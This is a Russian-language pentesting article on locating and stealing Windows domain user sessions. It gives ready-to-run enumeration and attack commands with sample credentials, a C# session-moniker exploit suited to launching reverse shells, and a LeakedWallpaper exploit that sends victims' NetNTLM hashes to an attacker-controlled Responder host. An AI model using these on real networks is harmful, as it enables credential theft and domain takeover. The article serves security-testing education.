Как час­то ты видишь завет­ную сес­сию домен­ного адми­нис­тра­тора на дырявой «семер­ке»? Его учет­ная запись так и про­сит­ся в руки зло­умыш­ленни­ка или пен­тесте­ра, и даль­ше она поможет зах­ватить всю сет­ку. Одна­ко злой анти­вирус ни в какую не дает сдам­пить LSASS. Что пен­тесте­ру делать в таком слу­чае? Как получить сес­сию поль­зовате­ля, обой­дя все защит­ные средс­тва?

В Windows при вхо­де поль­зовате­ля в сис­тему ему наз­нача­ется собс­твен­ная сес­сия. Глу­боко‑глу­боко внут­ри про­цес­са lsass.exe хра­нит­ся сопос­тавле­ние меж­ду сес­сией и учет­ными дан­ными поль­зовате­ля. При попыт­ке прой­ти аутен­тифика­цию на сто­рон­нем хос­те, ресур­се или служ­бе LSA получа­ет иден­тифика­тор кон­крет­ной сес­сии, обна­ружи­вает связь меж­ду сес­сией и кон­крет­ными учет­ными дан­ными, пос­ле чего про­водит аутен­тифика­цию.

warning

Статья име­ет озна­коми­тель­ный харак­тер и пред­назна­чена для спе­циалис­тов по безопас­ности, про­водя­щих тес­тирова­ние в рам­ках кон­трак­та. Автор и редак­ция не несут ответс­твен­ности за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной информа­ции. Рас­простра­нение вре­донос­ных прог­рамм, наруше­ние работы сис­тем и наруше­ние тай­ны перепис­ки прес­леду­ются по закону.

Под­робно механизм аутен­тифика­ции поль­зовате­лей, прин­цип работы LSA и общую струк­туру сес­сий мы изу­чали в статье «Пос­тавщик небезо­пас­ности. Как Windows рас­кры­вает пароль поль­зовате­ля». Сей­час же пред­лагаю поз­накомить­ся с механиз­мом кра­жи сес­сий.

Ес­ли вкрат­це: поч­ти все спо­собы кра­жи сес­сий поз­воля­ют нем­ножко зло­упот­ребить механиз­мом сопос­тавле­ния сес­сии и учет­ных дан­ных и начать исполнять какие‑нибудь нелеги­тим­ные дей­ствия от лица поль­зовате­ля, на чью сес­сию мы можем воз­дей­ство­вать.

Общий концепт кражи сессии
Об­щий кон­цепт кра­жи сес­сии

Поиск сессий пользователей

Пер­вым делом нам нуж­но най­ти компь­ютер, на котором могут лежать инте­рес­ные сес­сии поль­зовате­лей. Здесь мы можем на выбор исполь­зовать:

WinAPI

Нач­нем с самого прос­того вари­анта — WinAPI. Здесь мно­го полез­ных нам фун­кций. Я выделю эти:

Нач­нем с пер­вой. У нее мно­го аргу­мен­тов, которые неп­лохо докумен­тирова­ны в MSDN.

NET_API_STATUS NET_API_FUNCTION NetSessionEnum(
[in] LMSTR servername,
[in] LMSTR UncClientName,
[in] LMSTR username,
[in] DWORD level,
[out] LPBYTE *bufptr,
[in] DWORD prefmaxlen,
[out] LPDWORD entriesread,
[out] LPDWORD totalentries,
[in, out] LPDWORD resume_handle
);

Единс­твен­ное, на что нам сто­ит обра­тить вни­мание, — пер­вый параметр, он как раз таки и отве­чает за компь­ютер, с которо­го будет получе­на информа­ция о сес­сиях. При­чем сущес­тву­ет ана­лог этой фун­кции, но поверх RPC — NetrSessionEnum().

С исполь­зовани­ем это­го метода работа­ет боль­шинс­тво инс­тру­мен­тов для обна­руже­ния сес­сий поль­зовате­ля. Нап­ример, если мы работа­ем с хос­та на Linux, то мож­но вос­поль­зовать­ся скрип­том netview.py (вот, кста­ти, вы­зов метода NetrSessionEnum()).

python3 netview.py DOMAIN/Administrator:lolkekcheb123! -target 10.10.10.10

Па­раметр -target — это устрой­ство, с которо­го сле­дует собирать информа­цию о сес­сиях.

Пример использования
При­мер исполь­зования

Инс­тру­мент име­ет более инва­зив­ные фун­кции: с его помощью мож­но отсле­живать сес­сии по все­му домену. В таком слу­чае спи­сок поль­зовате­лей, которых ищем, ука­зыва­ем через -users.

Поиск сессии по всему домену
По­иск сес­сии по все­му домену

Чуть более уре­зан­ные воз­можнос­ти — у netexec. Получить спи­сок поль­зовате­лей через него мож­но, ука­зав флаг --loggedon-users.

nxc smb 10.10.10.10/24 -u admin -p admin --loggedon-users
Пример использования
При­мер исполь­зования

На­конец, BloodHound собира­ет информа­цию о сес­сиях точ­но таким же обра­зом. Впро­чем, если мы работа­ем с Windows, то опи­сан­ные выше вари­анты неп­римени­мы. Поэто­му мож­но пос­мотреть в сто­рону LOLBAS. Нап­ример, net.

net session [\\compname] [/list]

Ли­бо quser.

quser.exe /server:dc01.office.corp
# Аналог 1 в 1
qwinsta.exe /server:dc01.office.corp
# Аналог 1 в 1, часть 2 :)
query.exe user /server:W10.ad.bitsadmin.com
Изучение с системы Windows
Изу­чение с сис­темы Windows

Еще сущес­тву­ет под­писан­ный Microsoft инс­тру­мент PsLoggedon.

psloggedon \\dc01
Использование легитимного бинаря
Ис­поль­зование легитим­ного бинаря

На­конец, есть пол­ноцен­ные фрей­мвор­ки на PowerShell, нап­ример Get-UserSession2.ps1, BOF для Cobalt Strike Get-NetSession и, конеч­но же, все­ми любимый Invoke-UserHunter из пакета PowerView.

Invoke-UserHunter -GroupName "Domain Admins"
Invoke-UserHunter -CheckAccess # Проверить административный доступ
Invoke-UserHunter -Domain "dev.corp" -UserName admin # Найти, где сейчас находится такой-то юзер
# Есть флаг -Stealth, который уменьшает шансы на успех, но проверяет лишь машины с высокой ценностью

Ес­ли же вызов NetSessionEnum() заб­локиро­ван или по какой‑то иной при­чине не сра­баты­вает, то мож­но поис­кать аль­тер­нативы. Нап­ример, getloggedon.py.

python getloggedon.py VOSTOK/dcom:lolkekcheb123\!@192.168.137.139
Пример перечисления сессий
При­мер перечис­ления сес­сий

Собс­твен­но, вызов с сис­темы Windows мож­но сде­лать через PowerView.

Get-NetLoggedon -ComputerName HOME-PC
# Сбор сразу со всех компьютеров в домене
Get-DomainComputer | Get-NetLoggedon
Вывод PowerView
Вы­вод PowerView

На­конец, приш­ла оче­редь WinStationEnumerateW(). Я не видел вари­антов это­го вызова на Python, есть на C++ с под­робным раз­бором от авто­ра. PoC можешь най­ти в его ре­пози­тории.

Реестр

Этот спо­соб обна­руже­ния сес­сий поль­зовате­ля осно­выва­ется на том, что при логоне юзе­ра соз­дает­ся вет­ка в HKCU_USERS. Так мож­но обна­ружи­вать новых поль­зовате­лей в сис­теме. Конеч­но, в ход могут пой­ти стан­дар­тные ути­литы reg.exe и reg.py, но мас­тера дав­но соз­дали пол­ноцен­ные инс­тру­мен­ты.

Для Windows есть Invoke-SessionHunter.

Invoke-SessionHunter
Invoke-SessionHunter
Invoke-SessionHunter

А так­же модуль LoggedOn инс­тру­мен­та SharpHound. В Linux мож­но исполь­зовать питонов­ский скрипт LoggedOn.py.

python loggedon.py VOSTOK/dcom:lolkekcheb123\!@192.168.137.139
Использование LoggedOn.py
Ис­поль­зование LoggedOn.py

Через SCCM

В SCCM (который не всег­да раз­вернут в AD!) есть инте­рес­ная фича, которая называ­ется Primary User. Она поз­воля­ет отсле­живать, какие поль­зовате­ли какие машины исполь­зуют. Так что мы можем устро­ить нас­тоящую охо­ту! Одна­ко для исполь­зования нуж­но про­бить SCCM-сер­вер.

Нап­ример, мож­но про­вес­ти рекон через MalSCCM.

Пример использования MalSCCM
При­мер исполь­зования MalSCCM

Есть так­же SharpSCCM. Он тоже поз­воля­ет обна­ружить ком­пы, на которых сидит опре­делен­ный поль­зователь.

.\SharpSCCM.exe get primary-users -u Frank.Zapper

При­чем под­держи­вает­ся и обратная опе­рация — получе­ние спис­ка поль­зовате­лей, которые ходят на опре­делен­ный компь­ютер.

SharpSCCM.exe get primary-users -sms <SMS_PROVIDER> -sc <SITECODE> -d CLIENT --no-banner
Использование SharpSCCM
Ис­поль­зование SharpSCCM

Здесь вид­но, что поль­зователь mayyhem\sccmadmin ходит на CLIENT.

Через RDP-сессии

Этот вари­ант поис­ка сес­сий поль­зовате­лей сра­бота­ет, если в сети пред­при­ятия активно исполь­зует­ся RDP. В таком слу­чае в Linux удоб­но дер­гать тул­зу tstool.py.

python3 tstool.py CRINGE/Administrator:lolkekcheb123\!@192.168.116.129 qwinsta
Использование tstool.py
Ис­поль­зование tstool.py

А в Windows нам поможет любимый Mimikatz с его модулем ts::sessions.

mimikatz.exe "ts::sessions /server:W10.ad.bitsadmin.com" exit

Логи

Не сто­ит игно­риро­вать и фай­лы логов, ведь при вхо­де любого поль­зовате­ля генери­рует­ся мно­го инте­рес­ных событий. Имен­но этот спо­соб мож­но счи­тать наибо­лее тихим вари­антом поис­ка сес­сий поль­зовате­лей.

Я выделил событие 4624 — An account was successfully logged on, оно генери­рует­ся на хос­те, на который зашел поль­зователь. При аутен­тифика­ции, нап­ример через Kerberos, на кон­трол­лере домена будет событие 4624, но источни­ком будет счи­тать­ся тот хост, на котором про­ходи­ла аутен­тифика­ция. В таком слу­чае перед нами следс­твие зап­роса, а не факт аутен­тифика­ции. Так­же в этом событии зачас­тую содер­жится IP-адрес устрой­ства, с которо­го зап­рашива­лась аутен­тифика­ция.

Как выглядит событие 4624
Как выг­лядит событие 4624

Для ана­лиза события мож­но накидать неболь­шой скрипт на PowerShell. Нап­ример, пусть мы хотим опре­делить, на какие машины поль­зователь «Адми­нис­тра­тор» ходил в пос­ледний раз. В таком слу­чае нам поможет событие 4624 и атри­бут LastLogon, по которо­му будем делать филь­тра­цию, что­бы не ана­лизи­ровать все события 4624 на хос­те.

param(
[Parameter(Mandatory=$true)]
[string]$ComputerName,
[Parameter(Mandatory=$true)]
[string]$UserName
)
try {
Import-Module ActiveDirectory
$user = Get-ADUser -Identity $UserName -Properties "lastLogonTimestamp"
$lastLogonDate = [DateTime]::FromFileTime($user.lastLogonTimestamp)
$startDate = $lastLogonDate.Date
$endDate = $lastLogonDate.AddDays(1).Date
$filterHashtable = @{
LogName = "Security"
ID = 4624
StartTime = $startDate
EndTime = $endDate
}
$events = Get-WinEvent -ComputerName $ComputerName -FilterHashtable $filterHashtable
foreach ($event in $events) {
$xmlEvent = [xml]$event.ToXml()
$targetUserSid = ($xmlEvent.Event.EventData.Data | Where-Object { $_.Name -eq 'TargetUserSid' }).'#text'
$targetUserName = ($xmlEvent.Event.EventData.Data | Where-Object { $_.Name -eq 'TargetUserName' }).'#text'
if (-not [string]::IsNullOrEmpty($UserName) -and $UserName -ne $targetUserName) {
continue
}
$targetDomainName = ($xmlEvent.Event.EventData.Data | Where-Object { $_.Name -eq 'TargetDomainName' }).'#text'
$logonType = ($xmlEvent.Event.EventData.Data | Where-Object { $_.Name -eq 'LogonType' }).'#text'
$ipAddress = ($xmlEvent.Event.EventData.Data | Where-Object { $_.Name -eq 'IpAddress' }).'#text'
Write-Host "SID User: $targetUserSid"
Write-Host "Username: $targetUserName"
Write-Host "Domain: $targetDomainName"
Write-Host "Logon Type: $logonType"
Write-Host "IP Address: $ipAddress"
Write-Host "----------"
}
} catch {
Write-Error "Error: $_"
}

Ис­поль­зование:

.\script.ps1 -ComputerName dc01 -UserName Администратор

Ва­риант на C# раз­работал наш китай­ский кол­лега. PoC ты най­дешь в его ре­пози­тории.

Сле­дующим обра­щу твое вни­мание на событие 4768. Оно появ­ляет­ся при выдаче билета TGT.

Событие 4768
Со­бытие 4768

Еще потен­циаль­но могут быть инте­рес­ны события 4672 и 4769. Но сог­ласись, искать инс­тру­мент под каж­дое событие не очень‑то и удоб­но? Поэто­му я раз­работал скрипт LogHunter, который авто­мати­чес­ки пар­сит мно­жес­тво инте­рес­ных для нас событий и помога­ет искать сес­сии поль­зовате­ля.

Есть и более «дедов­ский» спо­соб. Мож­но прос­то под­клю­чить оснас­тку mmc.exe к уда­лен­ному устрой­ству и обра­баты­вать логи в при­выч­ном для нас при­ложе­нии.

Процессы

На­конец, взгля­ни на про­цес­сы. К каж­дому про­цес­су при­вязан токен, а в токене содер­жится информа­ция о том, от лица какого поль­зовате­ля дол­жен работать исполня­емый файл. В таком поис­ке нам поможет WMI.

Get-WmiObject -Query "Select * from Win32_Process" -Computer winpc | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

Этот коман­длет поз­воля­ет извлечь спи­сок про­цес­сов с устрой­ства winpc, пос­ле чего сра­зу же отфиль­тро­вать сре­ди них слу­жеб­ные, которые нам не очень инте­рес­ны, а пос­ле вывес­ти спи­сок про­цес­сов с име­нами поль­зовате­лей‑вла­дель­цев.

Использование WMI для поиска сессий пользователей
Ис­поль­зование WMI для поис­ка сес­сий поль­зовате­лей

Кража сессий

Пос­ле успешно­го обна­руже­ния сес­сии сто­ит поп­робовать зах­ватить ее, то есть вык­расть учет­ные дан­ные. И здесь у нас появ­ляет­ся огромный прос­тор для фан­тазии!

Воруем TGS

Од­ним из исправ­но работа­ющих спо­собов кра­жи сес­сии в Windows я бы наз­вал TGSThief, мы его раз­бирали в статье «Абь­юз сес­сий Windows по‑новому. Получа­ем билеты TGT методом GIUDA». Вкрат­це: если мы нач­нем вза­имо­дей­ство­вать с LSA как Logon Process, то смо­жем зап­росить билет TGS для любой сес­сии, то есть для любого поль­зовате­ля, который находит­ся с нами на одном устрой­стве.

Нап­ример, если у нас на хос­те есть два поль­зовате­ля: хакер и адми­нис­тра­тор, то хакер с помощью TGSThief может поп­росить LSA выписать билет TGS на имя адми­нис­тра­тора для какой‑нибудь служ­бы, нап­ример CIFS кон­трол­лера домена.

Од­нако воз­можные трю­ки этим не огра­ничи­вают­ся! В Windows AD сущес­тву­ет служ­ба krbtgt, которая при­нима­ет билет TGT, а отда­ет TGS. Что, если мы выпишем билет TGS на служ­бу krbtgt? Смо­жем ли мы получать дру­гие TGS? Ответ: да, смо­жем!

Фак­тичес­ки если у нас на руках есть TGS на служ­бу krbtgt, то это рав­носиль­но пол­ноцен­ному билету TGT!

Та­ким обра­зом мы смо­жем красть чужие TGT.

Вот при­мер экс­плу­ата­ции.

Использование TGSThief
Ис­поль­зование TGSThief

Манипуляции с токенами

Им­персо­нация чужих токенов — это нес­таре­ющая клас­сика экс­плу­ата­ции Windows. Ата­кующий, имея дос­таточ­ные при­виле­гии, нацеп­ляет на свой про­цесс чужой токен и работа­ет от лица дру­гого поль­зовате­ля. Кста­ти, эту ата­ку мы про­води­ли в статье «Свин API. Изу­чаем воз­можнос­ти WinAPI для пен­тесте­ра».

Бла­года­ря широкой извес­тнос­ти этой ата­ки для нее написа­но дос­таточ­но мно­го вари­антов PoC. При­чем сущес­тву­ют и необыч­ные, нап­ример экс­плу­ата­ция через WTS API. Про­цесс может запус­кать­ся не через CreateProcessWithTokenW(), а через UpdateProcThreadAttribute().

И вишен­кой на тор­те идет CrackMapExec с модулем Impersonate. Исполь­зовать его лег­ко.

# Получить список токенов на системе
crackmapexec smb 10.10.10.10 -u 'Administrator' -p 'October2022' -M impersonate
# Выполнить действия от лица другого пользователя
crackmapexec smb 10.10.10.10 -u 'Administrator' -p 'October2022' -M impersonate -o TOKEN=<номер желаемого токена> EXEC=<"команда для запуска">
crackmapexec smb 10.10.10.10 -u 'Administrator' -p 'October2022' -M impersonate -o TOKEN=0 EXEC="whoami"
Список токенов
Спи­сок токенов
Абьюз токенов
Абь­юз токенов

RemotePotato0

RemotePotato0 — это экс­пло­ит полуза­пат­ченно­го бага, поз­воля­ющий повышать при­виле­гии. Почему «полу-»? Потому что у меня на Windows 11 с пос­ледни­ми обновле­ниями все сра­бота­ло, хотя в Microsoft говори­ли, что все пофик­сили!

Ес­ли вкрат­це, то этот инс­тру­мент зло­упот­ребля­ет про­цес­сом акти­вации объ­ектов DCOM, в ходе которой про­исхо­дит аутен­тифика­ция. Она ловит­ся и успешно реле­ится, нап­ример в служ­бу LDAP. Эту инте­рес­ную ата­ку опи­сывал мой кол­лега snovvcrash в статье «Кар­тошка-0. Повыша­ем при­виле­гии в AD при помощи RemotePotato0».

Од­нако если NTLM в домене отклю­чен либо у тебя нет воз­можнос­ти нас­тра­ивать сто­рон­ний хост с редирек­том резол­ва OXID-зап­росов, то обра­щу вни­мание на RemoteKrbRelay. Инс­тру­мент изна­чаль­но задумы­вал­ся для уда­лен­ного релея Kerberos, но ник­то тебе не меша­ет запус­тить его и про­тив локаль­ного компь­юте­ра. Под­держи­вает­ся воз­можность релея в LDAP, SMB, HTTP, что прак­тичес­ки пол­ностью пов­торя­ет фун­кции RemotePotato0, раз­ве что исполь­зует­ся Kerberos, а не NTLM.

Запрос чужих сертификатов

Раз мы загово­рили об AD CS, напом­ню, что мож­но при­нуди­тель­но триг­герить сес­сию поль­зовате­ля при заходе в AD CS, что­бы на него выписы­вал­ся сер­тификат. Для это­го мож­но вос­поль­зовать­ся ути­литой Masky:

masky -d vostok.street -u dcom -p 'lolkekcheb123!' -dc-ip 192.168.137.139 -ca "dc01.vostok.street\vostok-DC01-CA" -T user --no-pfx --no-ccache 192.168.137.139 -v
# 192.168.137.139 комп, с которого дампить
Использование Masky
Ис­поль­зование Masky

Masky заходит на хост, получа­ет спи­сок сес­сий, пос­ле чего для каж­дой зап­рашива­ет сер­тификат PFX, который мож­но исполь­зовать в ата­ках Pass the Certificate.

При­чем модуль под­держи­вает­ся и в CrackMapExec.

# Поиск CA
cme ldap 10.10.10.10 -u admin -p admin -M adcs
# Использование
cme smb 10.10.10.10 -u admin -p admin -M masky -o CA="CA DN"
Эксплуатация Masky из CME
Экс­плу­ата­ция Masky из CME

SeMishaPrivilege

Этот код мож­но исполь­зовать для запус­ка про­изволь­ных фай­лов от лица сто­рон­него поль­зовате­ля на сис­теме. При этом не нуж­но явно наз­начать при­виле­гии SeDebug/SeImpersonate. Изна­чаль­но код шел как LPE-экс­пло­ит COM Session Moniker EOP, но к нему добави­ли вся­кие про­вер­ки.

if ( imp_token_il >= process_token_il
&& (imp_token_il >= SECURITY_MANDATORY_HIGH_RID
|| EqualSid(process_token_user, imp_token_user)))
{
ShellExecuteW(NULL, L"open", path, NULL, NULL, SW_SHOW);
}

По­это­му теперь это прос­то спо­соб абь­юза сес­сий, если есть учет­ка локаль­ного адми­нис­тра­тора!

Единс­твен­ный минус — исполня­емый файл будет запущен в неин­терак­тивном режиме. То есть из текущей сес­сии мы будем видеть толь­ко успешно запущен­ный про­цесс, а в целевой сес­сии будут показы­вать­ся GUI-при­ложе­ния (если есть). Поэто­му таким спо­собом удоб­но запус­кать любые реверс‑шел­лы.

using System;
using System.Runtime.InteropServices;
namespace IHxHelpPaneServer
{
static class Program
{
static void Main()
{
var path = "file:///C:/Windows/System32/cmd.exe";
var session = System.Diagnostics.Process.GetCurrentProcess();
// Здесь указывай номер желаемой сессии, в которой запускать пейлоад
Server.execute(3.ToString(), path);
}
}
static class Server
{
[ComImport, Guid("8cec592c-07a1-11d9-b15e-000d56bfe6ee"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
interface IHxHelpPaneServer
{
void DisplayTask(string task);
void DisplayContents(string contents);
void DisplaySearchResults(string search);
void Execute([MarshalAs(UnmanagedType.LPWStr)] string file);
}
public static void execute(string new_session_id, string path)
{
try
{
IHxHelpPaneServer server = (IHxHelpPaneServer)Marshal.BindToMoniker(String.Format("session:{0}!new:8cec58ae-07a1-11d9-b15e-000d56bfe6ee", new_session_id));
Uri target = new Uri(path);
server.Execute(target.AbsoluteUri);
}
catch
{
}
}
}
}

Пе­речис­лять дос­тупные сес­сии мож­но с помощью WTSEnumerateSessions(). Рекомен­дую вос­поль­зовать­ся моим IHxExec или вари­антом на PowerShell. При­мер экс­плу­ата­ции я записал в виде ролика.

Leaked Wallpaper

Эта уяз­вимость задоку­мен­тирова­на как CVE-2024-38100. Изна­чаль­но ее обна­ружил автор бло­га decoder.cloud, одна­ко его коман­ды у меня не зарабо­тали. Впро­чем, автор в кон­це статьи обра­тил мое вни­мание на то, что он нашел инте­рес­ный класс, который поз­воля­ет менять обои дру­гих поль­зовате­лей.

И тут все вста­ло на свои мес­та! Меня осе­нило. А что, если вмес­то пути до фай­ла я пре­дос­тавлю UNC Path? В таком слу­чае обои не уста­новят­ся, но поль­зователь из целевой сес­сии при­нуди­тель­но обра­тит­ся по UNC Path и отпра­вит зап­рос на аутен­тифика­цию, который мы смо­жем перех­ватить, нап­ример через Responder.

Идея ока­залась рабочей и поз­воля­ет получить хеш NetNTLM. При­чем экс­пло­ит работа­ет даже от лица поль­зовате­ля с низ­кими при­виле­гиями.

Пред­лагаю рас­смот­реть при­мер экс­плу­ата­ции. У нас есть учет­ная запись exploit, которая абсо­лют­но не при­виле­гиро­ван­ная.

Привилегии пользователя
При­виле­гии поль­зовате­ля

На компь­юте­ре так­же сидит при­виле­гиро­ван­ная учет­ка — администратор.

Список сессий на устройстве
Спи­сок сес­сий на устрой­стве

Для кра­жи его NetNTLM-хеша запус­каем Responder.

responder -I eth1 -v

Те­перь исполь­зуем экс­пло­ит и триг­герим аутен­тифика­цию.

.\LeakedWallpaper.exe <session> \\<Kali IP>\c$\1.jpg
# EX
.\LeakedWallpaper.exe 1 \\172.16.0.5\c$\1.jpg
Успешная эксплуатация
Ус­пешная экс­плу­ата­ция

Выводы

Ко­неч­но же, при­веден­ный здесь спи­сок спо­собов поис­ка учет­ки все рав­но не пол­ный. Я попытал­ся объ­еди­нить наибо­лее необыч­ные, кра­сивые и прос­то эффектив­ные вари­анты. Хотя зачас­тую получа­ется прос­то сдам­пить про­цесс lsass.exe и извлечь учет­ные дан­ные из него. Впро­чем, сог­ласись, луч­ше знать, уметь и не поль­зовать­ся, чем не знать, не уметь и не поль­зовать­ся!